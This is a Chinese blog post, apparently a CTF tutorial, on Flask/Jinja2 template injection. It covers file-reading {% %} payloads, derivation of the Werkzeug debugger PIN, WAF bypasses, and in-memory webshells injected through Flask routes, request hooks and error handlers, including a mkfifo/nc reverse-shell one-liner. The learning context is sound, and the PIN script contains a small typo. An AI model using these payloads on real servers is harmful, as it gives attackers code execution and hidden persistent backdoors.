ssti进阶({%%}控制语句,内存马)

SSTI进阶

在SSTI入门的那一篇博客中我们主要了解了ssti是什么,ssti漏洞怎么利用,以及一些基本的绕过。其实ssti漏洞还有非常多的内容要学习,这篇博客主要浅浅讲解一下{%%}控制语句以及内存马

在ssti入门的那一篇博客中我们用{%%}绕过了对{{}}的过滤但{%%}的作用可不止绕过过滤这么简单,事实上{%%}有着非常强大的功能。

我们先理清楚{{}}和{%%}区别是什么

在 Flask 中,{{ }}{% %} 都是 Jinja2 模板引擎的语法,但它们在模板中扮演不同的角色

{{ }} - 表达式输出

用途:用于输出变量或表达式的值到 HTML 中

特点:
会将表达式的结果直接渲染到页面上
自动进行 HTML 转义,防止 XSS 攻击
只能用于输出,不能包含控制语句

{% %} - 控制语句

用途:用于模板的控制流程,不直接输出内容(这也是为什么我们使用{%%}要在里面加上print函数的原因)

常见控制语句:
{% if %}...{% endif %}
{% for %}...{% endfor %}
{% while %}...{% endwhile %}
{% macro %}...{% endmacro %}
{% set %}(设置变量)
{% include %}(包含其他模板)
{% extends %}(模板继承)

也就是说{%%}可以做决策和执行命令几乎和一个编程语言一样强大

举一个简单的例子在ssti入门中我们找os._wrap_close的位置时我们先确定存不存在os._wrap_close然后再用查找找出他的位置。如果每次做ssti的题目到要来一遍这个流程还是比较繁琐的。那么我们就可以用{%%}写一个模板,下次遇到这ssti就可以直接用这个模板跑。

我们这里依旧用ssti-lab来做演示

先用for 起个框架

image-20251207200945595

{% for c in [].__class__.__base__.__subclasses__() %}

然后找catch_warnings(我在ssti入门说过可以执行命令的模块有很多)

{% if c.__name__=='catch_warnings' %}

然后直接读取app.py

{% print(c.__init__.__globals__['__builtins__'].open('app.py','r').read()) %}

最后结束if 语句的判断和循环的判断

{% endif %}{% endfor %}

完整的payload如下

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% print(c.__init__.__globals__['__builtins__'].open('app.py','r').read()) %}{% endif %}{% endfor %}

image-20251207211926385

有点看不清楚我们加点换行来把它们理清楚

{% for c in [].__class__.__base__.__subclasses__() %}  //循环语句
{% if c.__name__=='catch_warnings' %}                  //if判断语句
{% print(c.__init__.__globals__['__builtins__'].open('app.py','r').read()) %}//满足条件后读取app.py文件
{% endif %}						//if语句的结束
{% endfor %}					//for循环的结束

可以看到理解起来还是挺简单的

理解了这些我们就直接来做一道题

但是这到题的预期解用到了pin码这里我们顺便提一嘴

PIN码

PIN码是什么?

1.PIN 是什么?为什么存在?

当你在开发Flask应用时,如果设置了 app.debug = True 并运行,一旦你的程序发生错误,页面上不仅会显示错误信息,还会出现一个交互式的调试器(一个终端一样的界面),允许你执行任意Python代码。

在开发环境中极其有用,但在生产环境中是极其危险的!如果攻击者能访问到这个调试器,就相当于获得了在服务器上执行命令的能力。

为了缓解这个风险,Flask为调试器设计了一个认证机制:你需要输入一个PIN码才能激活调试器的交互功能。这个PIN码是基于特定服务器特征生成的,理论上只有开发者本机才能计算出来。


2. PIN 是如何生成的?(攻击角度)

尽管题目中关闭了调试模式,但了解PIN的生成原理是CTF中的一个重要考点,因为有时题目可能会意外或故意地开启调试模式。

PIN码的生成依赖于几个与服务器主机相关的“种子”值。如果攻击者能读取到这些种子值,他们就可以在本地计算出PIN码,从而绕过认证。

生成PIN所需的种子信息通常包括:

  1. 用户名getpass.getuser()
  2. Modname:通常是 'flask.app'
  3. Appname:通常是 'Flask'
  4. 文件路径flask 库的 app.py 文件的绝对路径(例如:/usr/local/lib/python3.8/site-packages/flask/app.py
  5. MAC地址:网卡的MAC地址,经过十进制转换。
  6. 机器ID:来自 /etc/machine-id/proc/sys/kernel/random/boot_id 等文件的唯一标识。

生成公式(简化理解)pin = hash(种子信息) % 10**9,结果被格式成一个9位数字(不足补零)。


3. 在CTF中与PIN相关的攻击场景

即使调试模式关闭,CTF出题人也可能围绕PIN设计题目。常见的场景有:

场景一:调试模式意外开启

如果题目错误地配置了 app.debug = True,并且攻击者能触发一个服务器错误,他们就会看到调试器界面,但被PIN码挡住。这时攻击的目标就变成了:

  1. 信息泄露:利用其他漏洞(如文件读取、SSTI、目录遍历)去读取生成PIN所需的那几个“种子”文件。
  • 读取 /etc/passwd 获取用户名
  • 读取 /proc/self/cgroup 或类似文件获取路径信息
  • 读取 /proc/net/arp/sys/class/net/eth0/address 获取MAC地址
  • 读取 /etc/machine-id/proc/sys/kernel/random/boot_id
  1. 本地计算PIN:拿到所有信息后,在本地运行一个脚本,按照Flask的算法计算出PIN码。
  2. 进入调试器:在网页上输入计算出的PIN码,获得一个可以执行任意代码的交互式shell,从而直接读取flag或执行命令。
场景二:PIN作为硬编码的密码

有时,出题人可能会直接把PIN码作为一个密码或密钥放在代码里(虽然这不常见),例如:

python

flag = open('/flag').read() if request.args.get('pin') == '123-456-789' else 'Wrong PIN!'

这时,攻击者就需要通过其他方式找到这个PIN码。

题目分析

进入该网页可以看见该网页有三个功能分别是加密,解密和提示

image-20250912111125671

先看看是否存在SSTI

image-20250912111254160

image-20250912111304492

image-20250912111326267

image-20250912111340192

很显然是存在SSTI的再看看提示

image-20250912111442295

image-20250912111505836

提示我们PIN码

既然提示PIN,那应该是开启了Debug模式的,解密栏那里随便输入点什么报错看看,直接报错了,并且该Flask开启了Debug模式,需要PIN码

image-20250912111606249

要获取PIN码需要知道以下几点:

username:运行该Flask程序的用户名
modname:模块名
getattr(app, 'name', getattr(app.class, 'name')):app名,值为Flask
getattr(mod, 'file', None):Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc。
str(uuid.getnode()):MAC地址,需要转换成十进制,读取这两个地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address
get_machine_id():系统id

从报错中还能看出来使用了render_template_string()

image-20250912111813510

从这个render_template_string(tmp)看,应该是使用的jinja2引擎,编码{{config}},传入解密然后渲染执行

image-20250912112307617

首先通过报错就可以得知很多信息,Python3的环境以及:

modname:flask.app
getattr(app, 'name', getattr(app.class, 'name')):Flask
getattr(mod, 'file', None):/usr/local/lib/python3.7/site-packages/flask/app.py

解题过程

接下来可以通过SSTI去文件读取其他信息,使用jinja2的控制结构语法构造

jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
从而绕过沙箱。

__class__         返回调用的参数类型
__bases__         返回基类列表
__mro__           此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__()  返回子类的列表
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,
				  这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

遍历子类,寻找能读取文件的子类,然后构造

{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
	{%endif%}
{%endfor%}

image-20250912112522906

image-20250912113042867

得到运行Flask的用户名:flaskweb

读Mac地址

{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read() }}
	{%endif%}
{%endfor%}

image-20250912113140234

转换成十进制:

记得去掉冒号

int('3226cd628848',16)

image-20250912113453004

读系统id:1408f836b0ca514d796cbf8960e45fa1

{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}
	{%endif%}
{%endfor%}

image-20250912113600702

然后根据下面的脚本得到PIN码(注意在Linux和windows环境下跑出来的结果是不同的,用什么环境跑取决于服务器的环境)

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '55142235932744',# str(uuid.getnode()),  /sys/class/net/eth0/address
    '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

image-20250912114535564

点击右上角的小按钮输入PIN码

image-20250912113919576

输入PIN码后可成功获取交互Shell

image-20250912114858012

获得flag位置

image-20250912115026958

获得flag

image-20250912115103311

非预期解

不用管pin,读app.py:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

image-20250912115322445

可以得到app.py的源码,审一下发现waf:

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1


利用拼接找目录:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

image-20250912115445505

可以注意到存在this_is_the_flag.txt,对其也要进行拼接

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eva'+'l' in b.keys() %}
      {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

image-20250912115534533

可以看到直接把app.py读出来是更方便的,更加通用的,毕竟debug开启的情况可不是很常见

内存码

“内存马”(Memory Shell / In-Memory Webshell)是一种不写入磁盘文件、仅驻留在目标进程内存中的后门技术。它在 Web 渗透、红队攻击和 CTF 中被广泛使用,尤其适用于无法写文件、或希望隐蔽持久化控制的场景。

核心原理

在 Web 应用运行时,动态修改其路由表、请求处理逻辑或钩子函数,将恶意代码注入到内存中的请求处理流程里,从而实现无需文件落地的 Webshell。

关键点:

  • 不创建 .php.jsp.py 等后门文件
  • 利用框架自身的机制(如路由注册、中间件、钩子)注入恶意逻辑
  • 只要应用进程不重启,后门就一直存在

以 Flask(Python)为例说明内存马原理

Flask 是一个基于 WSGI 的 Web 框架,其核心是一个 Flask 应用对象(通常叫 app)。该对象维护了:

  • 路由规则(url_map
  • 请求前/后钩子(before_request_funcs, after_request_funcs
  • 错误处理器(error_handler_spec

攻击者通过 SSTI 或其他 RCE 漏洞,获取对 app 对象的引用,然后:

方式1:动态添加新路由
方式2:劫持全局请求钩子(更隐蔽)
方式3:覆盖错误处理器(适用于无回显场景
方式4:修改响应内容(after_request)

为什么叫“内存马”?

特性 传统 Webshell 内存马
存储位置 磁盘文件(如 shell.php 进程内存(如 Flask 的 app 对象)
持久性 除非删除文件,否则永久存在 进程重启后消失
隐蔽性 容易被文件扫描发现 无文件痕迹,需内存取证才能发现
依赖 任意可写目录 应用框架的动态特性(如 Python/Java 的反射)

正因为“无文件”,内存马在现代攻防中越来越常见,尤其在容器化、Serverless 环境中(磁盘只读、进程短暂)。

为什么叫钩子?

“钩子”(Hook)这个术语在计算机编程中非常常见,它的名字来源于现实生活中的鱼钩(hook)——就像钓鱼时把鱼钩“挂住”鱼一样,在程序执行过程中,“钩子”是用来挂住(拦截、注入、干预)某个特定执行点的代码机制

钩子(Hook)是一种软件设计模式,允许开发者在不修改核心代码的前提下,在系统或框架预定义的“扩展点”插入自定义逻辑。

Web 框架中的典型钩子示例

Flask(Python)

钩子类型 触发时机 用途
@app.before_request 每次请求处理前 身份验证、记录访问日志
@app.after_request 视图函数执行后、响应返回前 添加安全头、压缩响应
@app.teardown_request 请求结束后(无论成功与否) 关闭数据库连接
@app.errorhandler(404) 发生 404 错误时 自定义错误页面

这些装饰器本质上就是向 Flask 的钩子系统注册函数

常用的Python框架有DjangoFlask, 这两者都可能存在SSTI漏洞. Python 内存马利用Flask框架中SSTI注入来实现, Flask框架中在web应用模板渲染的过程中用到render_template_string进行渲染, 但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现Python内存马的注入.

老版本

flask现在已经更新换代了,但是还是有些题目是用老版本的flask的,我觉得还是值得学习的

环境搭建

from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def hello_world():  # put application's code here
    person = 'lx207'
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h1>Hi, %s.</h1>' % person
    return render_template_string(template)


if __name__ == '__main__':
    app.run()

image-20251124174752531

不出意外的报错了,毕竟我现在用的是版本比较新的flask

那么我们换一下版本来重新实验

创建虚拟环境

python -m venv venv

image-20251124171549622

激活 Python 虚拟环境

venv\Scripts\activate

image-20251124171643961

安装牢版本的flask

pip install flask==2.1.0
pip install flask-login==0.6.0
pip install werkzeug==2.0.3

image-20251124172018967

把app.py文件放在同一个目录下

image-20251124172247846

image-20251124172431036

老payload

?name={{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd','whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

image-20251124173210639

image-20251124173114032

也是执行成功了我们现在开始分析这段payload

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
    )",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }
)

对于url_for.__globals__['__builtins__']['eval']这一截Payload, url_forFlask的一个内置函数, 通过Flask内置函数可以调用其__globals__属性, 该特殊属性能够返回函数所在模块命名空间的所有变量, 其中包含了很多已经引入的modules

__builtins__模块中, Python在启动时就直接为我们导入了很多内建函数. 准确的说, Python在启动时会首先加载内建名称空间, 内建名称空间中有许多名字到对象之间的映射, 这些名字就是内建函数的名称, 对象就是这些内建函数对象.

接着再来看看app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())这一截Payload. 这部分是动态添加了一条路由, 而处理该路由的函数是个由lambda关键字定义的匿名函数.

跟进add_url_rule函数, 其参数说明如下:

  • rule: 函数对应的URL规则, 满足条件和app.route的第一个参数一样, 必须以/开头.
  • endpoint: 端点, 即在使用url_for进行反转的时候, 这里传入的第一个参数就是endpoint对应的值, 这个值也可以不指定, 默认就会使用函数的名字作为endpoint的值.
  • view_func: URL对应的函数, 这里只需写函数名字而不用加括号.
  • provide_automatic_options: 控制是否应自动添加选项方法.
  • options: 要转发到基础规则对象的选项.

lambda即匿名函数, Payloadadd_url_rule函数的第三个参数定义了一个lambda匿名函数, 其中通过os库的popen函数执行从Web请求中获取的cmd参数值并返回结果, 其中该参数值默认为whoami.

再来看看'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']}这一截Payload. _request_ctx_stackFlask的一个全局变量, 是一个LocalStack实例, 这里的_request_ctx_stack即上文中提到的Flask 请求上下文管理机制中的_request_ctx_stack. app也是Flask的一个全局变量, 这里即获取当前的app.

_request_ctx_stack`是`flask`自带的栈,栈是一种后进先出(LIFO, Last In, First Out)的数据结构,最后进入栈的元素最先被弹出。讲到这里是不是有点明白为啥用`top`,而不是`bottom`,`_request_ctx_stack.top`跟踪我们最后推入栈的元素,也就是`cmd

到此, 大致逻辑基本就梳理清晰了, eval函数的功能即动态创建一条路由, 并在后面指明了所需变量的全局命名空间, 保证app_request_ctx_stack都可以被找到.

在实际应用中往往都存在过滤, 因此了解如何绕过还是必要的.

url_for可替换为get_flashed_messages或者request.__init__或者request.application.
代码执行函数替换, 如exec等替换eval.
字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
__globals__可用__getattribute__('__globa'+'ls__')替换.
[]可用.__getitem__()或.pop()替换.
过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
过滤了.可以采用attr()或[]绕过.
其它的手法参考SSTI绕过过滤的方法即可...

测试完了我们删除一下虚拟环境

deactivate
rmdir /s /q venv

image-20251124174700409

新版本

实验环境

from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def hello_world():  # put application's code here
    person = 'lx207'
    if request.args.get('name'):
        person = request.args.get('name')
    template = '<h1>Hi, %s.</h1>' % person
    return render_template_string(template)


if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

image-20251124175818739

image-20251124175852652

装饰器

装饰器是一种用于修改或增强函数或方法行为的高级函数。它可以在不改变原函数代码的前提下,动态地给函数添加额外的功能。通常是通过 @decorator_name 语法糖来应用的,可以作用于函数、方法,甚至类。装饰器本质上是一个接受函数作为参数并返回一个新函数的函数。

before_request()

before_request 方法允许我们在每个请求之前执行一些操作。我们可以利用这个方法来进行身份验证、请求参数的预处理等任务。

def before_request(self, f):
        """Registers a function to run before each request.
        """
        self.before_request_funcs.setdefault(None, []).append(f)
        return f

那么搞到源码之后发现其中起作用的应该就是self.before_request_funcs.setdefault(None, []).append(f)了,一样的逐步分析

self.before_request_funcs 是 Flask 应用对象(Flask 类的实例)中的一个属性。它是一个 字典,用于存储在请求处理之前需要执行的钩子函数。

setdefault 是 Python 字典的一个方法,用来获取字典中指定键的值。如果该键存在,返回其对应的值;如果不存在,则插入这个键,并将其值设为指定的默认值。

  • None: 这是我们要检查或插入的键。对于 before_request_funcs 字典,None 键表示全局应用的 before_request 钩子
  • []: 如果 before_request_funcs 字典中不存在键 None,那么 setdefault 会插入这个键,并将其值设为一个空列表 []

.append(f) 是对列表进行操作的方法,用来将元素 f 添加到列表的末尾。

那么此时我们只要把lambda:__import__('os').popen('whoami').read()插入

在app中,所以我们得到sys.modules(可获取所有模块)

sys.modules是一个全局字典,该字典是python启动后就加载在内存中。每当程序员导入新的模块,sys.modules都将记录这些模块。字典sys.modules对于加载模块起到了缓冲的作用。当某个模块第一次导入,字典sys.modules将自动记录该模块。当第二次再导入该模块时,python会直接到字典中查找,从而加快了程序运行的速度

image-20251124194629505

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app']")}}

image-20251124194856660

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen('dir').read())")}}

after_request()

函数原型

def after_request(self, f):
    self.after_request_funcs.setdefault(None, []).append(f)
    return f

在视图函数执行完毕并生成响应对象之后调用。即请求已经被处理完成并生成了响应,所有注册的 after_request 函数将对该响应对象进行进一步的处理。

payload(用完上面那个记得重新开一下环境)

?name={{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})
}}

image-20251124195517354

image-20251124195604534

分析一下payload

url_for.__globals__['__builtins__']['eval'](
    '''
    app.after_request_funcs.setdefault(None, []).append(
        lambda resp: CmdResp if request.args.get('cmd') and exec(
            \"\"\"
            global CmdResp;
            CmdResp = __import__('flask').make_response(
                __import__('os').popen(request.args.get('cmd')).read()
            )
            \"\"\"
        ) == None else resp
    )
    ''',
    {
        'request': url_for.__globals__['request'],
        'app': url_for.__globals__['current_app']
    }
)

结果1 if 条件 else 结果2

  • 结果1 (CmdResp):如果条件为 True,返回 CmdResp
  • 条件 (request.args.get('cmd') and exec(...) == None):用来决定返回哪个结果。
  • 结果2 (resp):如果条件为 False,返回原始响应 resp
CmdResp = __import__('flask').make_response(
                __import__('os').popen(request.args.get('cmd')).read()
            )

用于生成新的响应内容,也就是我们的shell

而且我们知道这个是个恒真式,所以自然而然的就成功了

hook函数

钩子函数是一种设计模式,用于在特定的程序执行点插入自定义代码。这种机制通常由框架或库提供,允许开发者在特定事件发生时挂钩(hook)到这些事件上执行自定义逻辑。钩子函数的典型用法是作为回调函数,在某些预定义的事件或操作发生时自动被调用。

其实上面的装饰器中就已经包含了两种钩子函数了

teardown_request

teardown_request 是在每个请求的最后阶段执行的,即在视图函数处理完成并生成响应后,或者在请求中发生未处理的异常时,都会执行这个钩子。

它执行的时机是在响应已经确定之后,但在最终发送给客户端之前。

函数原型

def teardown_request(self, f):
        self.teardown_request_funcs.setdefault(None, []).append(f)
        return f

但是介于这个函数没有回显所以我们弹shell或者写文件会比较好

反弹shell

{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').system('mkfifo /tmp/fifo; /bin/sh -i < /tmp/fifo | nc 127.0.0.1 2333 > /tmp/fifo; rm /tmp/fifo'))")
}}

image-20251124200750550

image-20251124200809517

写文件

{{url_for.__globals__['__builtins__']['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen('ls > 11.txt').read())")
}}

image-20251124201201156

并且通过测试发现,这个文件的结果还是动态更新的,只要flask实例还在

errorhandler

在 Flask 中,errorhandler 是一种机制,用于处理应用程序中发生的错误。当你的 Flask 应用遇到错误(例如 404 页面未找到或 500 服务器内部错误)时,你可以定义自定义的错误处理程序来处理这些错误并返回适当的响应。

def errorhandler(self, code_or_exception):
        def decorator(f):
            self._register_error_handler(None, code_or_exception, f)
            return f
        return decorator
def _register_error_handler(self, key, code_or_exception, f):
    """
    Registers an error handler for the given code or exception class.

    :param key: If this handler is specific to a blueprint, this will be the
        blueprint name. If this handler is for all blueprints, None.
    :param code_or_exception: The code as an integer, or an exception class.
    :param f: The handler function.
    """
    if isinstance(code_or_exception, HTTPException):
        code = code_or_exception.code
    elif isinstance(code_or_exception, int):
        code = code_or_exception
    else:
        code = None

    exc_class, code = self._get_exc_class_and_code(code_or_exception)

    if exc_class not in self.error_handler_spec:
        self.error_handler_spec[exc_class] = {}

    self.error_handler_spec[exc_class][key] = f

    # If the handler is for a specific HTTP status code, also store it by
    # code in case there are multiple exceptions for the same code.
    if code is not None:
        self.error_handler_spec[code] = self.error_handler_spec[exc_class]

到了关键了发现exc_class\code都是由_get_exc_class_and_code控制

这个定义的函数 _get_exc_class_and_code 是用来处理异常类或 HTTP 状态码的。函数接受一个参数,exc_class_or_code,可以是一个异常类或者一个 HTTP 状态码(整型)。

_get_exc_class_and_code获取之后,再通过error_handler_spec进行重新处理

error_handler_spec 是一个字典,主要用于映射不同的错误类型到相应的错误处理函数

{
    None: {
        <error_code>: {
            <exc_class>: <error_handler_function>
        }
    }
}

  • None: 这个键表示默认的错误处理程序,如果没有为特定的错误码和异常类定义处理程序,则使用默认处理程序。

  • <error_code>: 错误码(如 404、500 等),用于指定错误类型。

  • <exc_class>: 异常类,用于指定具体的异常。

  • <error_handler_function>: 错误处理函数,当指定的错误码和异常类匹配时,Flask 会调用这个函数来处理错误。

所以我们直接可控f即可

{{url_for.__globals__.__builtins__.exec("global exc_class;global code;exc_class, code = sys.modules['__main__'].__dict__['app']._get_exc_class_and_code(404);sys.modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd','whoami')).read()")
}}
url_for.__globals__.__builtins__.exec(
    '''
    global exc_class
    global code
    exc_class, code=sys.modules['__main__'].__dict__['app']._get_exc_class_and_code(404)
    sys.modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class]=
    lambda a:__import__('os').popen(request.args.get('cmd','whoami').read())
'''
)

exc_class, code=sys.modules['__main__'].__dict__['app']._get_exc_class_and_code(404)
#先获取异常类和错误码
sys.modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class]=
    lambda a:__import__('os').popen(request.args.get('cmd','whoami').read())
#设置404错误处理函数,也就是我们注入的地方

{{url_for.__globals__.__builtins__.exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd','whoami')).read()",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})
}}

但是你会发现打不通,那是因为服务器的处理问题,此时我们需要一个try来捕捉,也是为了能够确保触发404(现实生活肯定也是能触发404的)

from flask import Flask, request, render_template_string, abort

app = Flask(__name__)

# 主页路由
@app.route('/')
def index():
    return 'Welcome to the SSTI Demo!'

# 模板渲染路由,存在SSTI漏洞
@app.route('/template')
def template():
    # 获取用户输入的模板字符串
    template_str = request.args.get('template', '')
    
    # 使用Jinja2渲染模板
    try:
        rendered = render_template_string(template_str)
    except Exception as e:
        # 捕获模板渲染异常并返回404错误
        abort(404)
    
    return rendered

if __name__ == '__main__':
    # 启动Flask应用,绑定到所有IP地址(0.0.0.0),并关闭调试模式
    app.run(host='0.0.0.0', port=80, debug=False)

image-20251124202742081

image-20251124202806930

来道题练练手

第十六届极客大挑战_路在脚下

给的提示很明显了ssti

image-20251123162342284

简单测试一下

image-20251123162447092

image-20251123162509961

渲染之后不给看结果

还过滤了一些东西

这里收集一下情报

image-20251123163048954

试出来这个是可以的

image-20251123163113877

image-20251123163258629

访问一个不存在的文件

image-20251123163359558

搜索flag

image-20251123163435424

payload

{{url_for.__globals__.__builtins__['setattr']('lip'+'sum'.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('env').read())}}

结语

ssti要学习的内容还是非常多的,本人的水平也比较低,很多地方我也不是很了解,希望有大佬能指出我的错误。

最后what can I say? Mamba out!

A79E8DD375CC30A4DAB019C8182550E3

posted @ 2025-12-08 17:23  落山机糊人  阅读(26)  评论(4)    收藏  举报